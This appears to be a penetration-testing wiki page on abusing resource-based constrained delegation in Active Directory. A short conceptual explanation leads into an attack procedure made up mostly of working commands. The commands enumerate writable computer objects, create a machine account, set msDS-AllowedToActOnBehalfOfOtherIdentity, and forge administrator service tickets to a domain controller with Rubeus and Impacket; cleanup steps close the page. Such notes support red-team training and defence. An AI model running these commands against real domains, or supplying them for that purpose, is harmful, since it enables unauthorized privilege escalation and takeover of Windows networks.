# Resource-Based Constrained Delegation

Windows 2012 introduced a new type of delegation called resource-based constrained delegation (RBCD), which allows the delegation configuration to be set on the target rather than the source.

For [Constrained Delegation](constrained-delegation) and [Unconstrained Delegation](unconstrained-delegation), delegation management was done at the level of the service that wanted to impersonate a user to access a resource. Resource-based constrained delegation reverses the responsibilities and shifts delegation management to the final resource. It is no longer at the service level that we list the resources to which we can delegate, but at the resource level, a trust list is established. Any account on this trusted list has the right to delegate authentication to access the resource.

To compare - constrained delegation is configured on the "front-end" service via its `msDS-AllowedToDelegateTo` attribute

**The resource has the right to modify its own trusted list** so any service account has the right to modify its trusted list to allow one or more accounts to delegate authentication to themselves. If a service account adds one or more accounts to its trusted list, it updates its `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute.

Enabling unconstrained or constrained delegation on a computer requires the [SeEnableDelegationPrivilege](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/enable-computer-and-user-accounts-to-be-trusted-for-delegation) user right assignment on domain controllers, which is only granted to enterprise and domain admins.

The two major prerequisites to pull off the attack are:

1. A target computer on which you can modify `msDS-AllowedToActOnBehalfOfOtherIdentity`
2. Control of another principal that has an SPN.

This query will obtain every domain computer and read their ACL, filtering on the interesting rights.

```powershell
Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }
```

A common means of obtaining a principal with an SPN is to use a computer account

```powershell
Get-DomainComputer -Identity ws$ -Properties objectSid
```

but if we don't own one we might able to create a new machine account if the MAQ (machine account quota) of a user we own is > 0 (it should be 10 by default)

```powershell
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount OTTR -Password $(ConvertTo-SecureString "SomethingSecure123!" -AsPlainText -Force)
```

```
addcomputer.py -computer-name 'OTTR$' -computer-pass 'SomethingSecure123!' -dc-ip 10.10.10.10 domain.com/otter
```

We'll then use this inside an SDDL to create a security descriptor. The content of `msDS-AllowedToActOnBehalfOfOtherIdentity` must be in raw binary format.

```powershell
$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-569305411-121244042-2357301523-1109)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "dc-2" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose
```

another variation of this is the following

```powershell
Import-Module .\PowerView.ps1
$ComputerSid = Get-DomainComputer OTTR -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
$credentials = New-Object System.Management.Automation.PSCredential "DOMAIN\otter", (ConvertTo-SecureString "SomethingSecure123!" -AsPlainText -Force)
```

These commands do the following

1. Obtain the computer SID.
2. Use the [Security Descriptor Definition Language (SDDL)](https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language) to create a security descriptor.
3. Set `msDS-AllowedToActOnBehalfOfOtherIdentity` in raw binary format.
4. Modify the target computer.

Next, we use the OTTR$ account to perform the S4U impersonation with Rubeus. The `s4u` command requires a TGT, RC4 or AES hash.

```
Rubeus.exe s4u /user:OTTR$ /impersonateuser:administrator /msdsspn:cifs/dc.domain.com /ticket:doIFuD ... 5JTw== /nowrap
```

Finally, pass the ticket into a logon session for use.

```
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:DOMAIN /username:administrator /password:SomethingSecure123! /ticket:doIGcD ... MuaW8=
```

To clean up, simply remove the msDS-AllowedToActOnBehalfOfOtherIdentity entry on the target.

```
Get-DomainComputer -Identity dc | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
```

or

```
Import-Module .\PowerView.ps1
$credentials = New-Object System.Management.Automation.PSCredential "DOMAIN\otter", (ConvertTo-SecureString "SomethingSecure123!" -AsPlainText -Force)
Get-DomainComputer DC01 | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity -Credential $credentials -Verbose
```

Another way to perform the attack consists in using the [StandIn](https://github.com/FuzzySecurity/StandIn) tool and its functionality to create a computer with a random password.

```
StandIn.exe --computer compooter --make
```

Rubeus' `hash` can take that password and calculate their hashes.

```
Rubeus.exe hash /password:SomethingSecure123! /user:compooter$ /domain:domain.com
```

We can also use [this](https://gist.github.com/otterpwn/1c72984d7106a693981cf225c75457e1) script to enumerate for user accounts we can use for RBCD.

From linux the whole process is automated with a script from the Impacket suite

```
rbcd.py -dc-ip 10.10.10.10 -t DC01 -f OTTR domain\\otter:'SomethingSecure123!'
getST.py -spn cifs/DC01.domain.com -impersonate Administrator -dc-ip 10.10.10.10 domain.com/OTTR:'SomethingSecure123!'

```
